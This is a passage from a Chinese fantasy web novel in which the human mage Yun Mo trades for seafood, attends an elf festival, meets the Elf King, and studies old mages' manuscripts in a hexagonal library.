那粗布跟云漠之前接受的几乎一模一样的，显然同样来源于藤部落。 好多食物！ 云漠一眼就看到了柴火一样，一捆一捆扎起来的干海带！ 还有用不知名纤维编成的网兜里装着的海草、贝肉……啊，瑶柱！啊，我的老天奶，那是……鲍鱼？ 确实是鲍鱼吧？！ 好大！ 干货还有她的巴掌那么大！ 这玩意儿要放到后世，得卖多少钱啊？ 不，这种个头的野生鲍鱼几乎不可能在市面上流通，或许她连看一眼的机会都没有。 而现在，巨型鲍鱼们毫无体面和尊严的被压在底下！ 云漠看着都替它们委屈！ 云漠恰到好处的表现出了一个内地人对陌生海货的好奇和惊讶，挨着问了个遍，最后才貌似不经意的指着鲍鱼说：“这个是什么呀？好像一只盘子，也是一种贝壳吗？怎么只有肉？” “我们叫它单扇扁螺，傻傻的，很好抓，就是会吸在岩石上，需要用石刀撬下来。”海鹰很久没遇到对海货感兴趣的外族人，也学着云漠的样子蹲下来戳了戳，“它的肉很多很厚，但是没什么味道，也不太好吃，还很硬，很难煮。但是精灵们喜欢它们的壳，五颜六色，非常漂亮……” 捉这玩意儿就是冲着它的壳去的，但是这么大一坨肉丢了太可惜，海部落的人就留着自己吃了。 虽然难吃，但是能充饥不是吗？ 太多了，真的太多了，每次都嚼得腮帮子疼，大家都快吃吐了。 云漠：“……” 这不就是现成的买椟还珠吗？ 这鲍鱼，尤其是干鲍鱼，不会做的话确实又硬又难嚼，跟橡胶一样。 云漠哦了声，没有表现出特别大的兴趣，又指着旁边另一种像干树枝一样的东西问是什么？ “我们叫它海花，”海鹰老实说，“其实没什么用，但是如果把它和别的食物一起炖煮，就会变成软软弹弹的东西，汤汁就像透明的软冰，不会撒出来，比较适合赶路途中携带。” 云漠眼睛一亮，这不就是类似石花菜的东西吗？ 做果冻、蛋糕等必不可少的好材料呀！ 靠山吃山，靠海吃海，老祖宗的话真有道理，这海边除了冬天漫长难熬，真是一点缺点没有啊，搞得她都想去住住了。 哦，不对，盐碱地没法种地。 那算了。 单独挑出某种食材来未免太显眼，而且云漠也不确定这些东西的口感跟后世是否一样，不认识的东西中又是否有沧海遗珠，索性就每种都挑了几个。 海鹰极其慷慨，弄得云漠都有点不好意思了，摸了几块糖瓜给她，又反过来把海鹰闹得不好意思。 两个小姑娘的想法惊人一致： 我手头这点小玩意儿，怎么好意思换人家如此丰厚的物资？！ 分别时云漠背上就多了个大网兜，远远看跟老乌龟似的。 她还跟海鹰说呢，“等我回去做了试试看，好吃的话就跟你一起分享。” 海鹰非常感动，然后拒绝了。 开什么玩笑，她吃着这些玩意儿长大，哪怕光听见名字、闻到味道都会绝望…… 好不容易来到内地，换到了柔软喷香的面粉，谁要再吃这些东西！ 云漠意味深长地看着她，少女，你一定会后悔的。 40-50 第41章 精灵庆典（二） 你醉过氧吗？ 吃过毒蘑菇吗？ 在雨后透过万花镜观察过彩虹吗？ 经历过那种绚烂夺目到虚妄的美在视野中骤然喷发，头脑中一片空白，近乎失语的场面吗？ 云漠现在正在经历。 一张张极致美丽的面孔在她眼前呈现，毫无雕凿痕迹，完全天然，充满了大自然的灵动清新之感。 这是一种集中爆发的客观美景。 无论哪种喜好的人来了，都不能否认眼前的美。 她放下箱子，从背后取过法杖，顺手狠狠掐了自己一把，微微颔首行了一礼，“人类魔法师，云漠，幸会。” 好险好险，差点就变成痴汉了！ 呼尔雅从她身后出现，再次重点介绍，“她不仅是木系魔法师，还是铭文大师纳林霜和格斗大师银星的弟子。” 如果只是单纯的人类魔法师倒也罢了，可如果是两名精灵大师亲口承诺的弟子？ 分量自然不同。 法杖和云漠身上的精灵长袍出处一目了然，哪怕个别对人类存有敌意的精灵也暂时放下仇恨，陆陆续续向她还礼。 但云漠显然沉浸在了另一种震惊中： 等会儿，银星是什么身份？ 格斗大师？！ 呼尔雅非常神奇的领会到了她的震惊，于是看上去比她更震惊： 你竟然不知道？！ 云漠：“……” 也没人跟我说呀！ 而且严格算来，银星才是自己的魔法启蒙老师呢。 谁能想到人家专精格斗！ 呼尔雅：“……” 不然你以为巡逻队是干什么的？ 当然是魔武双修啊。 事实上，银星不仅是格斗大师，而且精通箭术，尤其擅长给箭矢附魔。 这位精灵早年曾率领刺客团完成过不止一次暗杀，死在那把银色长弓下的敌人不知有多少。 来不及过多感慨，云漠就被闻讯赶来的三精集团截胡。 见她已经配备法杖，三只精灵都很高兴。征得云漠同意后，当日率先感应到魔法原石的精灵瑟琳还凑近了，细细观摩上面绘制的法阵，不时发出赞叹。 果然是纳林霜大师，如此细腻复杂的回路还能完成得如此完美。 云漠立刻发出邀请，“你也喜欢铭文吗？以后我们可以一起交流啊。” 瑟琳腼腆一笑，恋恋不舍地将法杖还给云漠，“我的铭文天分并不高。” 很多事情就是这样，喜欢是一回事，能不能做好又是一回事。 云漠笑道：“喜欢就是最大的天分了。” 瑟琳听闻，双目微亮，带着几分欢喜的点了点头。 果汁软糖和龙须酥得到精灵们的一致欢迎。 许多精灵都知道双方开展贸易的事，但据说这两种制作艰难，所以数量稀少，大部分精灵也只是听说而已。 可现在，我们吃到了！ 一轮吃下来，本就不多的敌意彻底烟消云散，基本云漠走到哪儿都能得个好脸儿。 精通烹饪，又被纳林霜和银星收为弟子的木系魔法师能坏到哪里去呢？ 有外向的精灵主动上前询问云漠的树屋在哪里，需要拿什么交换； 还有热情的精灵主动承担起向导的职责，带着陌生的客人四处参观，骄傲地展示精灵族的光辉历史和深厚底蕴，随时回答她各种稀奇古怪的问题。 精灵们不仅容貌非凡，嗓音也大多悦耳动听，尤其这样娓娓道来时，似乎附带了某种奇妙的韵律，宛若吟唱，空灵异常，简直能把人听醉了。 幸福！ 太幸福了！ 此刻的云漠犹如闯入了国际时装周t台后场晚会，被无数高质量的俊男美女环绕，真的爽翻了！ 尤其大家都用那么温和那么期盼的澄澈眼神望着她……还有什么不满足的呢？ 不管对方说什么都是行行行，好好好，你长得好看，你说得对。 从头到尾，云漠的嘴角都比ak还都难压，就没下来过。 日上中天时，云漠还被邀请一起用餐。 说实话，能跟这么多美丽非凡的生物在一起，饿着都愿意。 精灵宴会主打一个氛围，大家都很松弛尽兴，虽然菜品种类和烹饪手法稍显单调，但味道相当不错。 狭长的餐桌上摆满了鲜花、泉水，还有源源不断的松软白面包、各式烤肉、果酱，可以直接吃，也可以把切成片的金黄烤肉夹在热乎乎的面包里。 云漠一闻那个味道就知道是紫叶给她带过两次的大牛，油脂丰富，肉质鲜嫩，配着热面包确实很香。 还有刚从树上摘下的五颜六色的新鲜果子，其中好几种曾被猴群当作贡品献上，也有许多云漠见都没见过，想来是精灵国度的内部特产。 她都挨着尝了。 果然是精灵优选，就没有难吃的。 其中一种长得像大号夏威夷果的坚果，里面淡黄色的果肉细腻绵软，汁水也足，很像熟透了的奶油哈密瓜，需要用小银勺子挖着吃，简直唇齿留香。 云漠非常喜欢，就是觉得壳太硬了，不好开。 正纠结要不要再吃一个时，一旁的紫叶已经掏出匕首往果壳上划了一下，坚硬厚重的果壳立刻裂开一条缝，精灵轻描淡写地掰开，随手推了过来。 云漠大为感动，迅速吃完，又推过去一个大个儿的： 再给我开一个。 紫叶：“……” 吃吃吃，吃吧。 吃到一半时，又有精灵奉上几种香气扑鼻的果酒，邀请客人品尝。 其中一款果酒呈现出淡淡的粉红色，非常漂亮，云漠一眼相中，端起来浅酌一口，眼睛亮了。 好喝哦！ 本以为会是类似葡萄酒的味道，没想到竟然意外的带点柠檬香！特别清爽。 兴致上来的云漠把几种果酒都试了一遍，对精灵族的酿酒技术也有了大体了解： 蒸馏技术尚未出现，度数最高的也不会超过15°，果然很适合聚会玩乐。 见她感兴趣，紫叶又说：“擅长锻造的矮人族也会酿酒，但她们酿的酒太辣太冲，只有部分人类和极少数精灵会喜欢。” 极少数精灵？ 也有精灵喜欢烈酒？ 紫叶耸耸肩，“王。” 精灵王性格果决，爱好广泛，以前各族没有断交的时候，王经常会从阿索城购置烈酒和矮人兵器…… 不过那都是以前的事情了，如今阿索城早已沦为废墟，矮人纷纷避世，只有很少一部分会出来买卖，外流的烈酒就更少了。 精灵王，就是那位历史上的暴君？ 云漠对这位传说中的生灵非常好奇，却也不敢贸然求见。 毕竟对精灵王而言，或许自己只能算个小虾米。 不过事情往往就是这样，你不想，不一定对方不想。 云漠正与精灵们谈笑，就见一名陌生的精灵从密林深处的方向走来，说王邀请客人留宿。 “远道而来的客人，请不要匆匆离去，务必多留几日……” 精灵王的意思很明确，要么直接别让人来，既然来了就好好招待，展现出精灵族慷慨大度的一面。 云漠立刻表示了感谢，并礼貌询问了对方的名字，然后才目送精灵离开。 完了，她脸盲了！ 精灵们都太好看了，一口气聚集这么多，她都有点分不清了！ 不对，这就留宿了？！ 云漠突然意识到什么，抬头看天，黑了？！ 一天这就过去了？ 除了欣赏美色，我还什么都没干呢！ 难怪临行前纳林霜老师坚持给我布置那么多作业，这要是没有学习任务压着，换谁，谁不沉沦啊？ 习惯了勤奋学习的人类当场开始了自责，反思，痛苦不已。 天啊，我干了什么！ 我竟然浪费了足足一整天的时间！ 学习如逆水行舟，不进则退，我竟然浪费了…… 她正三省吾身，不远处紫叶就抬手招呼一声，“我们要唱歌了，你来吗？” 两名女性精灵已经在类似竖琴的乐器边准备，一干美丽的精灵们也都微笑着看过来，邀请之意不言而喻。 人类瞬间头脑发昏，原地起立，“来来来！” 学习？ 作业？ 那是什么？ 人类魔法师大方展示了自己的五音不全，期间数次打断精灵们优美的吟唱，演奏乐器的两位精灵脸上更是呈现出猝不及防的惊愕。 她们还非常年轻，没怎么经历过混战之前各族频繁往来的黄金时代，自然也无法想象世界上竟然有种族不会唱歌。 因为不是什么重要的庆典，大部分精灵都对这位初次登门的客人极为包容，好脾气地停下，看着瑟琳一次又一次纠正，最后自己也被带跑偏。 紫叶大笑出声，并引发一系列连锁反应，欢乐的气氛久久萦绕不去。 任何人都有自己不擅长的领域，云漠也从不会刻意隐瞒这种不擅长。 反复确认自己在歌唱一道没什么发展前途后，云漠果断放弃，跃跃欲试地转向精灵竖琴。 她身后的瑟琳不易察觉地松了口气，然后紧急与好友合唱，并顺利找回正确的调子。 还好还好。 刚经历了魔音贯耳的竖琴手犹豫了下，最终还是款款起身，请云漠坐下，并柔声教导。 精巧的织物随着精灵的动作滑动、堆积、舒展，有如流水，配上她们绿色的长发，恰似溪流穿过丛林。 凑近了才发现，竖琴主体由完整的白色石头雕刻而成，边缘打孔，穿入某种特殊藤蔓内部抽出的芯，由粗到细依次排列，十分精致。 轻轻拨动琴弦，便会发出好听的叮叮咚咚的声音。 与古典国乐和现代国际音乐都不同，精灵音乐共有九个音，其中三个的发音方式非常特殊，演唱时甚至需要头腔、喉咙和胸腔一起共鸣。 据说这种声音能传出去很远，关键时刻如果精灵们没有带哨子，也会以此召集伙伴、传递讯号。 云漠立刻为自己不擅长歌唱找到了完美理由： 人类和精灵的生理构造肯定不一样，我发不出来很正常的嘛！ 竖琴手：“……” 不是，刚才你也没在调上呀。 精灵居住地的星空好像都比别处更亮一些。 夜幕降临后，云漠趴在住处的窗边，仰头向上望去，浩瀚星空尽收眼底。 轻柔的晚风中隐约有精灵在吟唱，似森林的低语，温柔婉转，云漠听得痴了。 回味着一天，简直美好得像个梦。 但是现在，梦醒了。 她要赶作业！！！ 一天下来，她一个字都没动！ 啊啊啊啊时间为什么过得这么快！ 接下来的两天，云漠从每天早上一睁眼就开始被紫叶带着串场子，各种吃吃喝喝玩玩乐乐。 她认识了许许多多美丽动人的精灵，也品尝了许许多多见所未见闻所未闻的食物，听说了好多过往或璀璨或平静的历史…… 如此充实，白天她根本抽不出时间写作业！ 每当有漂亮的精灵微笑着问她，要来玩吗？ 云漠就跟鬼上身一样回答，来！ 人家长得这么好看，要带你玩哎！ 不答应还是人吗？ 呜呜…… 偶尔中场休息时，云漠就会和瑟琳等精灵讨论铭文，研习魔法。 她觉着精灵族稀罕，精灵也觉得人类稀罕，两厢稀罕之下，后者竟也难得跟着卷了一卷。 然后卷着卷着，云漠就弄明白瑟琳为什么铭文天赋不强了。 这位精灵确实对铭文有着非同寻常的热爱，也比普通精灵更勤奋，但缺乏足够的空间构建能力。 如果瑟琳在现代社会上学，几何和物理一定不太好。 铭文需要学习者的思维在二维和三维空间之间不断转换，先在脑海中构建好二者之间的回路异同，然后再一一对号入座，稳定输出。 但瑟琳不行。 单独看纸面上的二维解析图，没问题；单独现场施法，构建基础的空间魔法回流，也没问题。 但当需要不同维度间交互转换时，瑟琳就宕机了。 这种能力的欠缺无疑是致命的，所以这么多年来，无论瑟琳再怎么努力，也没办法跨越天赋所带来的鸿沟。 了解到这一情况之后，云漠也是徒叹奈何。 好在精灵心性豁达，再次面对失败之后也没怎么难过，虽难免有些失落，却还坚持每天在旁边看云漠搞研究，也是津津有味。 三天庆典转瞬即逝，快到云漠都有些懵，根本反应不过来。 这就结束了？ 紫叶等精灵也陆续收拾好快乐的心情，三三两两返回工作岗位。 云漠也开始收拾行囊，结果晚间却见到了回来述职的银星。 人类学徒的第一反应就是此地无银三百两，铿锵有力道：“老师，我这几天完全没有间断学习！” 银星：“……” 知道了，看看你眼睛下面那两团黢黑，这几天没怎么睡吧？ 见弟子虽然疲惫，精神却很好，银星笑道：“玩得开心么？” 云漠疯狂点头。 开心，开心死了！ 师徒俩并肩前行，时不时低声交谈几句，当然，大多数时间都是云漠呱唧呱唧说着这几天的见闻和收获，银星听着，不断点头，及时给出回应。 穿过一片摇曳的花海时，云漠发现那些银色的花朵上都有着大大小小的星星状斑痕，美丽异常，突然福至心灵，“老师，这是您的名字吗？” 银星轻轻点头，又带她走过一条纤细而狭长的拱桥，拱桥下方是清澈的流水，低头就能看见悦动的游鱼和圆润的卵石、浮动的绿色水草。 最后，师徒俩在拱桥对岸那棵参天巨木下的石桌边坐下。 树木虽高，顶部却很巧妙地留出大块空间，阳光可以流畅地照射下来，又被下方枝叶层层过滤，化作一个又一个朦胧的金色光圈。 有不知名的小鸟飞来，落到银星肩头，高高兴兴唱了一曲，用毛茸茸的小脑袋蹭了蹭精灵的手指。 银星浅笑着摊开手掌，露出里面几粒饱满的谷物。 小鸟叽叽叫了几声，快乐地啄食完毕，然后就拍拍翅膀飞走了。 云漠这才发现，它体型虽小，却有一对色彩绚烂的细长尾羽，在空中振翅飞翔时随着气流不断变换角度，折射出令人迷醉的光。 简直像神话一样。 云漠欣赏着美景，又痛心疾首道：“老师，您之前怎么没有告诉过我精通箭术和格斗呢！” 银星失笑，“你也没问过不是吗？” 精灵生命漫长，总要做点什么打发时光，掌握多项技能再寻常不过，难道见个人就要炫耀一番吗？ 云漠：“……也是。” “老师，您今天走吗？我跟您一起吧。” 宴会已经结束了，她似乎没有理由继续留下。 “不必着急，”精灵老师平静又温和地丢下一枚深水炸弹，“王要见你。” 第42章 六角藏书室 精灵王？ 传说中的暴君？ 那位创造了历史的传奇？ 老实说，云漠确实有点受宠若惊。 因为不管从知名度还是各自领域的地位来说，对方都像一座丰碑，能允许自己这种小卡拉米来参加春日祭就很惊喜了，现在竟然还想见自己？ 换句粗暴易懂的话来解释这种差异： 一国总统亲自接见村长。 云漠的反应把银星逗笑了，“这没什么，或许王只是好奇。” 作为大战后首位被允许公开进入王国领地参加庆典的人类魔法师，精灵王不可能不关注。 精灵王向来雷厉风行，说要见就是马上见，银星简单告诉了弟子一点注意事项后，立刻就带着过去了。 云漠哑然。 好歹让我回去换套衣服呀，都坐出褶子来了！ 银星安慰的声音一如既往的温柔，“不必担忧，精灵族并不注重外表。” 云漠死气沉沉地瞥了自家光彩照人的老师一眼。 你骗人！ 精灵王居住在巨木之上，还没到树下，云漠就下意识屏住呼吸，努力仰头，尽情眺望那一眼望不到头的深入云端的宏伟宫殿。 那是一整座由无数参天巨木为基底搭建而成的精致建筑群，树木的枝干成为廊柱，粗壮的藤蔓搭建起轮廓，中间又以各色植被、石料填充，粗犷中流露出细腻…… 不知精灵们用了什么特殊材料涂抹，沐浴着阳光的建筑群表面闪闪发亮，像洒满了钻石一样，光芒璀璨，却不刺眼。 树下有数道河流环绕，水流翻卷着雪白的水浪，抵达断崖后奔腾而下，发出阵阵轰鸣。 磅礴的水汽升腾而起，随风舞动，将这一带装点得如梦境一般。 沿着缠绕巨木不断攀升的楼梯走了许久，云漠的视线渐渐升高，抬头远望时，浓翠的密林与漆黑的远山相接，然后又向着未知的远方用力延伸出去，气势雄浑。 相较之下，她的那座城堡视野便显得逊色多了。 也不知走了多久，转过一道弯，眼前豁然开朗。 脚下已经换成石头走廊，每一块石板都被打磨出细致的纹路，防滑又好看。 云漠的视线随着走廊延伸出去，穿透层层光柱，最终定格在尽头那位穿着华丽长袍的女精灵身上。 天呐，精灵王似乎在发光。 见银星带着云漠进来，精灵王微微坐直了身体，柔软贴肤的长袍立刻勾勒出高大健壮的身体。 精灵王微微挑了挑眉，饶有兴致地打量起来。 这就是阿索城的新任城主，一个小姑娘？ 人类世界真是越来越不像样了，精灵王颇有几分不屑地想，竟用流放这样卑劣的手段对付一个幼崽？ 感受着她身上翻涌的精神力和魔法波动，精灵王的兴趣更浓了。 哦，或许以后她也会成长为一名强大的铭文大师呢。 真有趣。 据说这个小姑娘才16岁，还带着几分稚气的脸上，一双明亮的眼睛格外突出。 她的眼睛很亮，非常亮，有种超出年龄的沉稳，如两团安静燃烧的火，流露出坚韧的气质。 啊，是的，就是这种气质。 沉寂已久的记忆长河内似卷起浪花，无数尘封的碎片浮出水面，如同午后河面上闪烁的光斑，荡漾着，翻滚着，让精灵王忽然有几分恍惚。 精灵王曾见过类似的眼神。 说起来，人类真是神奇的物种。 残忍，自私，自以为是，热衷于内斗，相互厮杀，一点儿也不介意对幼崽下手，并狂妄自大到想成为世界之王。 但就是这样一个劣迹斑斑的短命种族，竟也曾迸发出璀璨的光华，创造过绚烂的文明。 和平时期，无数人类贤者是精灵族可爱的朋友； 僵持时期，她们也是可敬的对手； 而到了战争时期，她们却又摇身一变，成为可怕的敌人…… 被观察的同时，云漠也在观察精灵王。 这位传说中的暴君有着人类女性50岁左右的美丽容貌，眼角也出现了一点细纹，但这种岁月流逝留下的痕迹非但不能有损精灵王的美丽，反而又为其增添了沉稳和威望，最终混合在一起，形成一种极其深厚的特殊魅力。 精灵王的姿态非常放松，斜靠在用结满了花朵和果实的藤椅中，浓翠的长发自然流淌，和浅金色的绘有精致图案的长袍相互交融，犹如午后阳光下的繁茂草地。 “欢迎你，人类魔法师。”精灵王富有磁性的嗓音幽幽响起。 “感谢您的款待，陛下。”云漠上前行礼。 精灵王对她的称呼很耐人寻味：“人类魔法师”。 不是克劳德小姐，也不是阿索城的新任领主，而是魔法师。 说明此行完全是一位独立的木系魔法师与精灵族的私人性质的会面，不含任何官方属性。 也委婉地释放了来自精灵王的善意。 “上次人类踏足这里，”精灵王停顿了下，“大约是一百年前了吧？” 银星在下方纠正道：“陛下，只有78年。” 当时正值女神降下神谕，人类派使者前来协商组件联合阵线的事。 精灵王一侧的眉毛高高扬起。 有什么区别？ 银星有些无奈，“对普通人类而言，已经相当漫长了。” 精灵王发出悠长的叹息，“哦，那可真是太遗憾了。” 话虽如此，但云漠可没从这位王者脸上看出一点儿遗憾。 请她过来说话，似乎真的只是精灵王的一时兴起，稍后的谈话内容并未涉及任何敏感领域，非常天马行空。 精灵王甚至非常接地气地抱怨甜品数量太少了，“难道你不想要更多黑石吗？” 这话说的，倒让云漠不好接了。 “实际上，”云漠斟酌着说，“连同我在内，城堡里一共只有五个人，并不需要太多黑石。” 原本交换煤炭也只是为了防止冬天过分寒冷，燃料短缺的情况，并非想取代柴火的主导地位。 这话也是在表明自己的立场： 我们绝对没有变相囤积，跟精灵族打擂台的意思。 精灵王瞥了她一眼，绿眸中盛满了看透人心的戏谑，“那么除了黑石之外，你还想要什么呢？” 眼见躲不过去，云漠想了下，说：“既然如此，黑石的量可以翻一倍。另外，我还想要些植物的种子，后期也可以做出相应口味的甜品。” 精灵族掌握的蔬果品种之多，口味之丰富，真是令人惊叹，想必许多品种连藤部落都没接触过，云漠非常想要引进，丰富自己的餐桌！ 精灵王很爽快就答应了。 但要求保证精灵族的首位交易权。 云漠也答应了。 稍后云漠离开时，就听精灵王忽然又来了句，“感兴趣的话，可以去六角藏书室看看。” 随着最后一个尾音落下，云漠和银星已经离开走廊，失去了回望的机会。 “老师，精灵族的藏书室也是可以轻易对外族开放的吗？”她低声问银星。 银星说：“其实六角藏书室并不算真正的精灵所有物……” 和平时期，常有各族魔法师来精灵族相互探讨、切磋，其中数量最多的就是人族，时间久了，次数多了，有几间房子就成了她们的固定住所。 “外界或许不知道，许多伟大的成就雏形都诞生在那几座树屋、几张木桌旁。”银星的语气中充满了对过往的遗憾，“后来战争爆发，外来客们匆匆离去，哪怕浩瀚森林核心区幸免遇难，她们再也没回来……” 人虽然走了，却遗留下大量手稿、卷轴乃至笔记，精灵族并未据为己有，却也不知该还给谁。 说话间，师生二人来到一处空地，就见空地周围赫然是呈六边形分布的若干树屋。 银星随手推开其中的一扇门，示意云漠进去。 这些树屋应该很久没被住过了，但不知精灵族用了什么特殊方法，一尘不染，但日常用品却还维持着住客匆忙离去的状态：杂乱的被褥和书桌，打开的茶壶…… 而书桌、书架上，甚至墙上，也堆满了各色纸张、卷轴和书籍，有写完的，也有刚开始写的，与纳林霜的书房如出一辙。 一切都那样鲜活，仿佛主人只是散步去了，随时可能回来。 云漠拿起一支羽毛笔，发现笔尖上的墨迹已然干涸，而墨水瓶底也结出厚厚一层墨水块，从上到下完全龟裂开。 时光到底是留下了痕迹。 或许这些智慧结晶也曾静静等待主人归来，但日升日落、月圆月缺，终究没有等到。 云漠从一张手稿的边缘处发现了一个名字，转头问银星，“这位前辈现在？” 根据日期显示，这张手稿完成于战争开始前60年！也就是距今110多年！ 纸张已经明显变黄，变脆，云漠都不太敢碰，生怕弄坏了。 这里有这么多树屋，如果每座树屋里都有这么多资料，或许最早的可以追溯到200年，甚至更久之前！ 银星摇摇头，“我们也不清楚，或许，已经魂归星空了吧。” 哪怕魔法师们都拥有漫长的生命，一百年对人类而言也不短了，即便这些人还活着，也必然垂垂老矣。 云漠忽然明白了精灵王的用意： 哪怕双方曾经厮杀，但精灵族仍承认与曾经的人类魔法师们之间的友谊，用心维护，并默默等待她们归来。 可惜岁月无情。 或许让大家留恋的，不仅仅是某些人，更是那段没有种族隔阂、没有战争的璀璨时光吧。 而将这些成果交给新一代人类魔法师云漠，未尝不是一种传承，一段悄然维护了近一个世纪的承诺…… 可又何尝不是一种遗憾。 银星说：“如果有用的话，你可以带走。” 云漠摇摇头，“还是留在这里吧，有需要我就抄录一下。” 显然精灵族拥有不对外公开的维护手段，云漠没有信心能做得比精灵们更好，如果因一时贪心带走而损毁，后悔都没地方哭。 而且……这些手稿本身，不也是历史的见证吗？ 接下来几天，云漠终于不再沉迷美色，专心致志地投入到学习中去。 这些树屋的前任住客来自五湖四海，职业也多到不可思议：铭文大师，炼金术士，药剂师，剑术大师……很多人甚至不专攻魔法！ 许多人都有写日记的习惯，云漠默念无数声道歉后，翻开了那些尘封多年的日记本，透过文字，见证了无数湮没于历史浪潮中的曾经鲜活的过往。 但许多前辈狂放不羁的性情作风给阅读造成不小的障碍：字迹宛若狗爬，根本看不清！ 有的上面甚至还沾着食物残渣！ 云漠：“……” 就没人管管吗？！ 不过连蒙带猜的，云漠了解到许多历史、地理格局、风土人情，也总结出不少有用的信息。 其中她对药剂师这个职业非常感兴趣。 因为大部分药剂的原材料都是植物，据说八成以上的药剂师都是木系魔法师。 真就顺手的事儿。 云漠还从某位药剂师前辈的书架上发现了一本自创药剂手稿，里面有很多药方，效果涉及感冒发烧、跌打损伤等多种日常！ 这可真是太有用了！ 期间紫叶、呼尔雅和瑟琳都来过，见云漠心无旁骛，也没有打扰，悄然离去。 转眼十天过去，“丰富”二字已经不足以形容云漠这次的收获。 而给云漠带来最大好处的莫过于几本魔法笔记，其中前辈们好多天马行空的大胆想法令人耳目一新，说是让她脱胎换骨也不为过。 不过她觉得这个不是重点。 重点是，大家都是人。 她真不是在骂脏话！ 要知道在此之前，云漠一直跟随精灵学习魔法知识，很有点猫吃狗粮的意思。 不是不能吃，但多少有点脾胃不和。 因为森林精灵和人类的魔法天赋真的有壁！ 很多对人类而言需要常年研究、反复练习的基础知识，在精灵看来就是与生俱来的本能，还用得着学？ 直接跳过！ 也就是说，云漠这个小学鸡一开始拿的就是高中课本…… 但话又说回来，这样也能学到今天，云漠觉得也很该为自己骄傲。 第43章 新收获 无论到底出于怎样的初心和目的，精灵王这份礼物真的送到云漠心坎儿上了。 现在的云漠就像掉进米缸里的小老鼠，除了本能吞噬之外，根本做不出别的反应。 学，学学！ 只要学不死，就往死里学！ 知识永远不会背叛，学到手就是自己的！ 云漠先将各个树屋都大略扫了一遍，炼金术、锻造学、火系魔法等暂时接触不到的领域暂时延后，木系魔法、铭文、药剂学优先。 而作为木系魔法的第一、第二顺位伴生魔法，水系魔法和风系魔法也被拉入“有空就看看”的范畴。 同为人类，云漠遇到的问题基本都能从那些前辈们的笔记和手稿中找到解决之道； 而前辈们遇到的问题，大概率也是日后云漠的路障。 比如精神力回流过慢，这是所有人类魔法师都不得不面对的先天性难题。 人类的身体构造与精灵、人鱼、堕落魔兽等血脉传承的魔法生物有着本质区别，使用魔法多少有点跨界操作的意味，精神力的上限和恢复速度都大大逊色于后者，所以经常要面对“战斗尚未结束，但没蓝了！”的窘境。 这个难题并不会随着个人能力的增强而有所改善。 因为魔法师的能力通常与施法强度挂钩，而威力越大、强度越高的魔法，对精神力和魔法元素的消耗也越高。 说得通俗易懂一点，月薪3000时，18块钱的沙县套餐就知足了；可等到月入8000，或许180块的牛排就成了日常，消费水平也会提高，照样攒不下钱！ 那么该如何弥补这一短板呢？ 千百年来，无数前辈们总结出若干方法，最常用的有两种：道具和冥想。 精神力恢复道具种类繁多，制作方法涵盖各行各业，包括并不仅限于效果立竿见影但一次性的药剂、卷轴、锻造法器，速度慢但可循环使用的法杖、魔法石等。 最奢侈的莫过于能够不间断聚集魔法元素的法阵，据说只要身处魔法阵内，哪怕你什么都不做，精神力恢复速度最少都能加倍！ 云漠暂时没点亮炼金术和锻造术这两大类的天赋，只好遗憾放弃。 不过木系魔法师学习药剂有着得天独厚的优势，她将几种被广泛应用，且证明有效无害的药剂和魔法阵记录下来，准备找时间请教下精灵朋友们和两位老师，看能不能做出来。 等以后有了条件，她要在身上缝满口袋，口袋里装满精神力恢复药剂！ 衣服上也不能空着，前胸后背都要绘制精神力恢复法阵！ 主打一个大补特补！ 道具可用于任何智慧种族，而冥想，则是人类魔法师独有的方法，没有任何副作用。 并且不要钱。 云漠看得泪流满面。 穷鬼首选了啊，朋友们！ 通过前辈们的日记可知，魔法师内部贫富分化极其严重，富的能流油，穷的能要饭。 因为学习前期太费钱了！ 拜师，各种魔法材料、装备，以及初级阶段因为实力低下而完全找不到工作…… 魔法工会确实被称为“魔法师的最强后盾”“魔法师之家”，但养家也要钱啊！ “家”也会偏爱能赚钱的孩子不是吗？ 所以负债累累的赤字状态在初级魔法师群体中非常常见！ 甚至一度出现谁没点债务都不好意思开口的情况！ 你为什么没负债？ 是不是不舍得投资，没有咬牙找名师？没有买最好的魔法材料？没有多做几次施法，多毁坏几栋建筑？ 可一旦跨过那道门槛，拥有了接活儿的能力之后，魔法师就开启了疯狂吸金的状态！ 一夜暴富的例子比比皆是！ 言归正传，冥想虽好，但并非每个人随时随地都能进入状态。 冥想，需要魔法师全身心放松，且花费时间根据各人当时的情况而定，完全没有标准。 而进入完全冥想状态的魔法师跟植物人没什么分别，防御力不比脆皮雪糕高多少…… 这就要求一个“绝对安全”“同属性魔法元素浓郁”的环境。 要求很苛刻吗？ 和平时期而言，不苛刻，因为各个国家的高层和魔法工会都恨不得将魔法师们当祖宗供起来，基本有求必应。 但战乱时期呢？ 冥想等于送人头。 对手巴不得你跑去冥想，然后他颠儿颠儿过去，一叉子戳死你…… 这也是为什么每逢动乱，各种精神力恢复道具就会价格飙升的原因，甚至经常有价无市。 云漠看得津津有味，大开眼界，简直都不想出门了。 而实际上，她真的不需要出门。 精灵族招待客人简直没得说，每天都会将柔软的面包、喷香的熏肉、新鲜的水果和果汁送来，然后收走上次的餐具。 除此之外，还有崭新的用具供她做笔记。 这种周到细致让人迅速沉沦，云漠也瞬间理解为什么和平年代大家都喜欢一窝蜂地往精灵王国钻了…… 爽，真的很爽！ 但云漠一连五天当死宅后，紫叶就直接过来拎着她上了树顶，美其名曰“担心你死在里面，引发外交危机”。 云漠：“……” 挺好一精灵，可惜长了嘴。 正巧铭文爱好者瑟琳也过来看情况，见状三下两下跳到她们身边，“你很多天没出门了，我真担心。” 喜爱阳光和风的精灵最怕被关禁闭了，但人类竟然主动关自己！ 真是想想就可怕。 人类是有什么天赋吗？比如不会疯掉什么的。 云漠有点不好意思地抓抓头发，“抱歉，以后不会了，以后我会经常出门吹吹风的。” 她瞥了紫叶一眼。 听听人家，再听听你！ 都是精灵，怎么差距这么大呢？ 紫叶哼了声，一副我才没想管你的样子。 瑟琳笑起来，退后两步，站在枝头舒展四肢，然后抬起一条腿，流畅地转了两圈，荡起的绿色长发在阳光下闪耀着光芒，像午后的海面。 “是呀，阳光，风，多好呀！”精灵由衷地感到快乐。 巨木顶端的风好大，瑟琳脚下的树枝比手腕还细，活动幅度很大，而瑟琳的动作说不出的轻盈，身体仿佛化为树叶，完全随着气流和枝条一起摆动。 云漠看得入了迷。 真好。 一人两精坐在树顶，眺望远方的美景，偶尔有一搭没一搭地闲聊几句，十分惬意。 云漠第一次在数十米高的树顶上看晚霞和落日！ 红的紫的蓝的相互晕染，像在火焰上打翻了燃料盘，轰轰烈烈铺天盖地，合着一轮冲红的落日，有种直冲灵魂的壮丽。 